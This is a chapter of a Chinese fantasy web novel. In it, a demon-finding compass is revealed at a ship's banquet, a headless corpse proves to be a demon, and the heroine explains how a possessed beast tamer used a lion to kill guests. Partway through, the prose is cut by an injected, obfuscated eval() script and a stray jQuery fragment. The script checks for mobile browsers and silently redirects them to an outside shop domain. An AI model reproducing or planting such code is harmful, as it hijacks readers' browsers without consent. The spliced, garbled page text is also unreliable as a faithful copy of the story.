44. 出剑
    纠缠间,有人推开了宴会厅的大门。

    乌明珠一身红裙烈艳如火,站在门外,嗤笑了一声:“本小姐还以为是什么有能道士,感情是半桶水,在这装神弄鬼!”

    没想到中途杀出了不速之客,长孙良脸上的笑容就有些挂不住:“之前在厨房里在下出言不逊,已经向乌小姐道过歉意,乌小姐为何还要苦苦相逼?”

    乌明珠冷哼:“谁说本小姐是来找你的?”

    她拍了拍手,身后小厮立刻捧上一个用红绸布盖着的宝匣。

    “听闻船上有魔气出没,正好,本小姐随身携带的行李中有件小玩意,能识别魔气来源,百试百灵。”

    小厮揭开红布,恭敬地打开宝匣,露出一只流光溢彩的琉璃罗盘。

    有见多识广的,已经惊叫出来:“寻日盘!”

    “这可是上古时期大能陨落后化成的法宝!分踪定位绝无出错,这下就算船上的魔再狡猾,也绝无逃脱可能!”

    就在寻日盘被亮出的一瞬,凛迟原本放松下来的脊背又绷紧了。

    断罪剑垂在凛迟手边,被他攥得死紧。

    他就站在玄负雪身边,她只要稍微一移目,就能瞥见那双发白的指节,和微微颤抖的笔直脊梁。

    于是她未曾多想,就轻轻将自己的手覆了上去,包住他的手指。

    少女温和清香的气息如轻薄云雾,柔柔地贴上他的皮肤,凛迟微微一颤,肌肤相触之处仿佛有无数细微电流蹿过

    她的声音也有些抖,可还是强撑着安慰他:“待会若是寻日盘真的指向你,你就直接用断罪开路,我会为你殿后。”

    原本沸腾如油锅的煎熬忽地冷却了下来,仿佛一只无形大手柔和地抚平了所有情绪波澜的褶皱,凛迟发觉自己竟还能奇异地露出一个微笑调侃:“不信任我,觉得我打不过?”

    玄负雪不可置信地抬起头,对上他戏谑地笑眼:“现在是扯闲聊天的时候么!”

    凛迟却又笑了一下,笑容中带着疏狂放纵的少年意气,话语中又泄出三分血腥味:“无人能挡我们的路。”

    断罪剑跟随凛迟再酆都浸淫多年,早就成了一柄食惯血肉的凶剑,它与主人心灵相通,似乎嗅到了即将来临的屠杀狂欢,兴奋难抑地震鸣起来。

    宴会大厅的另一头,乌明珠已经吩咐下人取出寻日盘,并指朝其中注入灵气,罗盘中央的勺柄以肉眼无法分清地飞速旋转,灵光四射。

    有几次,勺柄几乎要在凛迟所在的方向停下,玄负雪早就屏住了呼吸。

    如今凛迟身上战伤尚未痊愈,她自己也是个花架子,偶尔单打独斗还行,可真刀实枪地对上乌明珠和她身后的一群乌家弟子,胜算不大,何况还有一个长孙良在一旁觊觎,时不时跳出来阴她一招,处境就更加危险。

    一根无形的细弦拴在她的心头,越绷越紧,几乎让她无法呼吸。

    而罗盘勺柄骤然亮了两下,转到了最后一圈,直接指向了玄负雪的方位。

    众人目光瞬间聚集到了她身上。

    玄负雪脑袋轰地一声,下意识辩白:“不是我——”

    “哪里跑!”

    长孙良出手如闪电,“噌——”地长刀亮出,直接砍来,玄负雪下意识想避,有人却托住了她的后背。

    凛迟在她耳畔吐息:“别怕。”

    直刀堪堪砍过她身侧,“砰”地在地上砸出一道深切凹痕,砍破了铁笼边一个半人高的木箱。

    随着木板碎裂,木箱中滚出一堆干肉和面点,洒落一地的粮食中,蹲着一个蜷缩成一团的少年。

    少年一身船夫打扮,茫然地抬起头,于是众人都看清了她嘴角沾着的食物残渣,看来先前他正躲在木箱里偷吃。

    这场景似曾相识。玄负雪仔细一想,对了,她从厨房回来时也撞见了这个偷包子馒头的少年。

    船长第一个惊叫出声:“这是用来喂狮子的口粮,什么时候竟躲进了个人?!”

    长孙良重新将长刀拎在手中,道:“船长可认识这少年?”

    船长仔细眯起眼瞅了半天,又同其他船夫七嘴八舌讨论一番,皆是摇头:“我们船上人员皆有登记,可这少年面生得很,他不是我们船上的船夫!”

    长孙良冷笑,直接将长刀架在了少年脖颈:“既然不是船上船员,偏偏又打扮成船夫模样,鬼鬼祟祟躲在狮子口粮盒内,还被寻日盘指中——桩桩件件,魔头还有什么可抵赖!”

    这是直接认定少年就是魔了。

    说毕,长孙良一个飞身跳上中央舞台,直接伸手要去拿人,指尖刚刚碰到少年的衣角,身侧猛地蹿出一道黑影,紧接着就是鲜血喷涌——他的双手竟是被撕扯了下来。

    而扯下他双手的罪魁祸首,赫然是原本躺在地上的无头尸!

    异变发生只在眨眼之间,大厅内所有人都还没缓过神来。

    那无头尸跑起来飞快,又是一眨眼,就已经闪到了门边。

    挡在门口的正是乌明珠,她尚未反应过来,还呆呆的站在原地,那无头尸诡异浑不似人行,两只长满黑尖指甲的铁手已经朝乌明珠伸去,马上就要掐断她的脖颈,忽地动作一顿,一只碎木片刺穿了他的头颅。

    明明没有脑袋五官能辨明方向,可无头尸却若有所感地缓缓转身,朝舞台看去。

    方才掷出木片,救下乌明珠一命的,正是玄负雪。

    只是这招杯水车薪,根本阻挡不了魔化的无头尸——没错,那尸体浑身青黑,指甲长而尖锐,行动奔跑远超常人之速,再迟钝的人,都能看出那是只魔。

    没想到它竟狡诈如此,伪装成一具尸体,居然也成功骗过了在场众人。

    无头尸身形诡谲,顷刻间又已经闪到了台阶下,扑来时掀起一阵恶臭的腥风,玄负雪却不慌不忙,轻声唤了一句:

    “我的好弟弟,还不出手?”

    断罪剑出,剑身雪亮,剑尖轻轻向上一挑,如蛟龙入海,银白穿过血色,又化为森森毒蛇张开血盆巨口,死死绞紧猎物的喉管。

    趁着凛迟与魔缠斗,玄负雪先去探了一下长孙良的鼻息,人已经凉透了。

    没想到人死如灯灭,给她找了许多茬的络腮胡大汉,竟然就这般轻易死去。玄负雪虽然讨厌他多管闲事和偏激行事,可念及他毕竟也是一心除魔,她叹了口气,双手合十,为他念了一曲往生咒。

    念完,她环视着宴会厅,大脑飞速运转:性情大变的金狮,突然出现的魔头,还有躲藏在食盒里的少年......<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736224|145118||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>灵光一闪。

    “我知道了。”她两眼发亮,拎着裙角跳下舞台,一把抓住蹲在墙角瑟瑟发抖的船长,“船长,负责喂养金狮的驯兽师,这段时间以来可有异常?”

    船长绞尽脑汁:“啊,这么说来,好、好像是有。这次开船以后,他就老待在船舱里,不同我们一块吃饭。还总是昼伏夜出的,见了人也不搭理,现在想想,怪、怪可疑的。”

    “这就对了。”玄负雪扔掉一头雾水的船长,嘴皮子飞速念叨,“恐怕这次开船以后,那驯兽师就已经不是原来的驯兽师了,换言之,他早就被魔给夺了舍。你们这几日见到的,是披着人皮的魔。”

    船长的脸色惨白,忍不住道:“可,可他若真是魔头,岂不是早把我们吃了,何至于留我们到现在,他自己反而被狮子一口咬掉脑袋?”

    玄负雪一脸“这还要问”的表情,指给他看:“喏,我弟弟与魔现下正在打斗,你看出什么了?”

    船长懵逼道:“呃,贵弟英姿飒爽,青年才俊——”

    “不是这个。”玄负雪耐着性子,“你就没发觉,那魔未免也太弱了一点?”

    船长一怔,这才仔细看去,终于看出了些门道,青年持剑身姿飘逸,剑光如雪龙,每一剑几乎都落在无头魔的要害,却偏偏没有下死手,而是轻飘飘地划出一道血痕,然后以上周而复始,倒像是某种恶劣的野狗在逗弄爪下必死的弱鸟。

    玄负雪忽视了凛迟的恶趣味,继续道:“想来这只魔不知因为什么原因,身体虚弱,于是只能通过伪装成人的方式艰难苟活,生怕引起怀疑。可魔本性嗜血,它又实在控制不住自己想食新鲜人肉的欲望,怎么办呢?”

    “于是,它想到了一个法子。被它夺舍的驯兽师手下有一头表演金狮,每日都会允许贵客抚摸金狮的毛皮,那时就是魔杀人的最佳时机。它只要训练教会金狮在有人靠近的时候,猛地张开嘴,然后‘嗷呜’一下,咬掉人的脑袋——如此一来,既杀了人,又无人会怀疑到它的头上。”

    “而且我猜,客船须得行三日水路,在到达千寻云岭之前,都无法停泊靠岸,即使死了人,你们也只能将尸体暂时存放在船底库房里,届时魔就能溜进库房,大食血肉了,对罢?”

    听到这里,船夫已经是五体投地,完全将二人刚刚破坏牢笼的事情抛在了脑后,止不住地钦佩:“姑娘猜得一点不错!经姑娘这么一点,我们真是觉得过往几十年都像白活了似的!”

    “只是有一点不明白,既然魔盘算得好好的,怎么又会搬起石头砸自己的脚,被自己养的狮子给咬掉脑袋了呢!”

    船长说着就有点后怕,幸好今日是有诸位修士在场,否则只凭船员这些凡夫俗子,肯定被魔啃得骨头都不剩了!

    “认主呗。”玄负雪耸了耸肩,“魔以为伪装了人,就能瞒天过海。可能仅凭五官身型来辨认的人眼会被皮相迷惑,分不出真假。可兽类直觉灵敏,狮子与它的驯兽师朝夕相处,里头芯子被调包,自然能认出来。”

    她忽地顿了一下,想起在魔王宫时,凛迟也曾信誓旦旦对自己说过,他有直觉、自己决不会伤她。

    彼时她还嗤之以鼻,现下却不再坚定。

    这还是第一次,她为他的话感到动摇。